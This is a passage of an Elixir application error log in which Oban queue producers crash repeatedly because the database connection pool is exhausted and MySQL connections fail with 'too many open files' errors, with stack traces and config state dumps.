    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:55:27.240273Z], limit: 50, uuid: "77e40b62-7b90-43cf-aec5-390fe37118d5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:27.240279Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38577>, refresh_timer: #Reference<0.2525715032.1068498948.38549>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:55:27.239825Z], limit: 10, uuid: "aa6c15e7-c571-4e86-99fa-58914b017647", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:27.239831Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.37013>, refresh_timer: #Reference<0.2525715032.1099431938.36998>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:39.493000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:39.786000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:42.008000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:44.265000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:49.309000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:49.620000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:51.225000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:55:39.239481Z], limit: 5, uuid: "197637ae-ddea-4845-8a0d-dc72b54fb741", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:39.239487Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38917>, refresh_timer: #Reference<0.2525715032.1077673987.10754>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:55:39.239424Z], limit: 50, uuid: "447e69a0-3430-4d46-b579-262c6088e93e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:39.239429Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38913>, refresh_timer: #Reference<0.2525715032.1068498948.38899>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:55:39.239472Z], limit: 5, uuid: "9d37e0cf-2f70-4e3a-bbaf-17708640f290", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:39.239477Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38915>, refresh_timer: #Reference<0.2525715032.1099431938.37117>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:55:39.239210Z], limit: 20, uuid: "c0c1193c-8cf9-4be9-b0d3-81e59e915ca8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:39.239215Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38912>, refresh_timer: #Reference<0.2525715032.1068498948.38891>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:55:39.239569Z], limit: 10, uuid: "f3b3bac5-ed2a-434c-af3b-d2483c71588e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:39.239574Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38914>, refresh_timer: #Reference<0.2525715032.1099431938.37119>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:55:39.239091Z], limit: 3, uuid: "93bc7fd6-cfa3-49ea-aadf-650363149103", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:39.239097Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38916>, refresh_timer: #Reference<0.2525715032.1099431938.37089>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:51.459000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:52.655000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:56.041000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:56.199000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:59.265000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:55:51.239859Z], limit: 10, uuid: "92c3c437-3786-462b-86f4-156abf2d3284", paused: false, refresh_interval: 30000, shutdown_started_at: 